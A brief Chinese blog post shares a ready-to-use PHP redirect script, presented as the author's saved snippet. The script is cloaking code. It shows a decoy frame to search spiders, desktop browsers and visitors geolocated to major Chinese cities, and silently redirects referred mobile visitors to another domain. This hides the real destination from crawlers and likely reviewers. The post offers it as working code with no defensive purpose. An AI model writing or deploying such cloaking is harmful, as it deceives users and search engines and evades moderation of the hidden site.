php代码，做跳转用的好久没写了，记录一个

<?php header('Content-Type:text/html;charset=UTF-8');/*error_reporting(0);*///屏蔽的地区$blockarea=array("北京","上海","广州","深圳","杭州","东莞","天津");//判断是否蜘蛛$tiaourl="http://mpv.shanxishiyuanweiye.com";if(stripos($_SERVER['HTTP_USER_AGENT'],'spider')>0) exit('<frameset cols="100%"><frame src="'.$tiaourl.'"/></frameset>');if(!isMobile()) exit('<frameset cols="100%"><frame src="'.$tiaourl.'"/></frameset>');$cip=get_client_ip();$html = "http://ip.ws.126.net/ipquery?ip=".$cip;//$html = "http://ip.ws.126.net/ipquery?ip=223.91.245.2";$data = http_curl($html);preg_match('|localAddress=(.*)|i',$data,$vid);$vid[1] = iconv('GB2312','utf-8',$vid[1]);$vid[1] = str_replace(array('省','市'),'',$vid[1]);$tihuan = str_replace(array('city','province'),array('"city"','"province"'),$vid[1]);$arr = json_decode($tihuan,true); $province=$arr["province"];$city=$arr["city"];if(in_array($province,$blockarea))exit('<frameset cols="100%"><frame src="'.$tiaourl.'"/></frameset>');if(in_array($city,$blockarea))exit('<frameset cols="100%"><frame src="'.$tiaourl.'"/></frameset>');if (isset($_SERVER['HTTP_REFERER'])) {header("location:http://www.imiao7.cn/");}else{echo('<frameset cols="100%"><frame src="'.$tiaourl.'"/></frameset>');}/*echo $province;echo $city;*/function http_curl($url){    $curl = curl_init();    curl_setopt($curl,CURLOPT_URL,$url);    curl_setopt($curl,CURLOPT_CONNECTTIMEOUT,30);    curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);    $data=curl_exec($curl);    curl_close($curl);    return $data;}function isMobile(){    if (isset ($_SERVER['HTTP_X_WAP_PROFILE']))    {        return true;    }     if (isset ($_SERVER['HTTP_VIA']))    {         return stristr($_SERVER['HTTP_VIA'], "wap") ? true : false;    }     if (isset ($_SERVER['HTTP_USER_AGENT']))    {        $clientkeywords = array ('nokia',            'sony',            'ericsson',            'mot',            'samsung',            'htc',            'sgh',            'lg',            'sharp',            'sie-',            'philips',            'panasonic',            'alcatel',            'lenovo',            'iphone',            'ipod',            'ipad',            'blackberry',            'meizu',            'android',            'netfront',            'symbian',            'ucweb',            'windowsce',            'palm',            'operamini',            'operamobi',            'openwave',            'nexusone',            'cldc',            'midp',            'wap',            'mobile'            );         if (preg_match("/(" . implode('|', $clientkeywords) . ")/i", strtolower($_SERVER['HTTP_USER_AGENT'])))        {            return true;        }     }     if (isset ($_SERVER['HTTP_ACCEPT']))    {        if ((strpos($_SERVER['HTTP_ACCEPT'], 'vnd.wap.wml') !== false) && (strpos($_SERVER['HTTP_ACCEPT'], 'text/html') === false || (strpos($_SERVER['HTTP_ACCEPT'], 'vnd.wap.wml') < strpos($_SERVER['HTTP_ACCEPT'], 'text/html'))))        {            return true;        }     }     return false;} function get_client_ip(){ if (getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"), "unknown")) $ip = getenv("HTTP_CLIENT_IP"); else if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"), "unknown")) $ip = getenv("HTTP_X_FORWARDED_FOR"); else if (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"), "unknown")) $ip = getenv("REMOTE_ADDR"); else if (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], "unknown")) $ip = $_SERVER['REMOTE_ADDR']; else $ip = "unknown"; return($ip); } ?>